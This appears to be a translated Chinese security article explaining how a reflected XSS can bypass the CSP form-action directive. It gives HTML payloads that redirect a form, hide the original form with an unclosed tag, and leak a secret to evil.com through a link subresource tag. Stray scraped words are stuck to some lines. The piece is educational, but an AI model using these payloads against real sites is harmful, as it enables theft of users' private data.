翻譯:SecurityToolkitjavascript
CSP(Content-Security-Policy)是爲了緩解XSS而存在的一種策略, 開發者能夠設置一些規則來限制頁面能夠加載的內容.那文本中所說的form-action又是幹啥的呢?用他能夠限制form標籤"action"屬性的指向頁面, 這樣能夠防止攻擊者經過XSS修改表單的"action"屬性,偷取用戶的一些隱私信息.php
上面講的太抽象了, 若是不想看的話能夠直接跳過....具體一點, 如今使用的是chrome瀏覽器, 假設下面這個secret.html是可能被XSS攻擊的html
#!html //XSS在這裏, victim.com/secret.html?xss=xss <form method="POST" id='subscribe' action='oo.html'> <input name='secret' value='xiao_mi_mi'/> //小祕密
若是這個站點沒有CSP, 攻擊者能夠直接經過XSS修改java
#!html <form method="POST" action='http://evil.com/wo_de_mi_mi.php'> //個人祕密
當用戶傻傻地進行"正常'操做時,小祕密已經悄然變成攻擊者的祕密了.而後,有一個管理員試圖用CSP防止這個問題, 他使用白名單策略限制外部JS的加載而且不容許內聯腳本, 好像安全性高了一點.
攻擊者想了下, 把頁面改爲下面這個樣子chrome
#!html <div><form action='http://evil.com/wo_de_mi_mi.php'></div> <form method='POST' id='subscribe' action='oo.html'>
在本來的form以前又加了一個form標籤, 這個新的form標籤沒有閉合,而且直接碰到了老form標籤, 這個時候會發生什麼呢?瀏覽器
老form標籤就這樣消失了! 因此攻擊者再次把用戶的小祕密發送到了本身的服務器上, 並且這時原本應該是POST的secret由於老form標籤的消失如今變成了GET發送, 請求變成了下面這樣.安全
這下管理員鬱悶了, 最後索性用CSP加上了form-action來白名單限定form標籤的action指向, 那麼這樣是否還會出現問題呢?服務器
一塊兒來回顧一下, 如今有一個不能執行JS的反射型XSS和一個只能往白名單域名(固然沒有攻擊者域名...)指向的form標籤.xss
原secret.html學習
#!html // XSS位置, victim.com/secret.html?xss=xss <form method="POST" id='subscribe' action='oo.html'> <input name='secret' value='xiao_mi_mi'/>上一頁
最後攻擊者的改過的頁面以下
#!html <input value='ByPass CSP' type='submit' form='subscribe' formaction='' formmethod='GET' /> <input type='hidden' name='xss' form='subscribe' value="<link rel='subresource' href='http://evil.com/wo_de_mi_mi.php'>"> // XSS, victim.com/secret.html?xss=xss <form method="POST" id='subscribe' action='oo.html'> <input type='hidden' name='secret' value='xiao_mi_mi'/> </form>
這裏有幾處tricky的地方, 整個代碼的步驟以下
input標籤的form/formmethod/formaction將老form POST到oo.html的secret變成GET發送到secret.html即當前頁面.
跳轉後仍處於secret.html所以該頁面的XSS還能夠被二次利用注入惡意標籤, 這裏又利用第二個input標籤增長GET請求的xss參數, 因此跳轉以後的URL變爲
#!html http://victim.com/secret.html?secret=xiao_mi_mi&xss=<link rel='subresource' href='http://evil.com/wo_de_mi_mi.php'>
此時secret.html再次觸發XSS, 被攻擊者加入下面標籤
#!html <link rel='subresource' href='http://evil.com/wo_de_mi_mi.php'>
正是最後這個link標籤泄露了本該POST發送的secret, 攻擊者經過利用一個反射型XSS將CSP的form-action繞過.
CSP可以從某種程度上限制XSS, 對網站的防禦是頗有益義的. 不過相比國外常常可以看到相關的討論,國內CSP的推動和熱度倒是比較不盡人意的, 同時關於CSP也有不少有意思的安全點, 特此翻譯出來以供你們學習和參考.
上一頁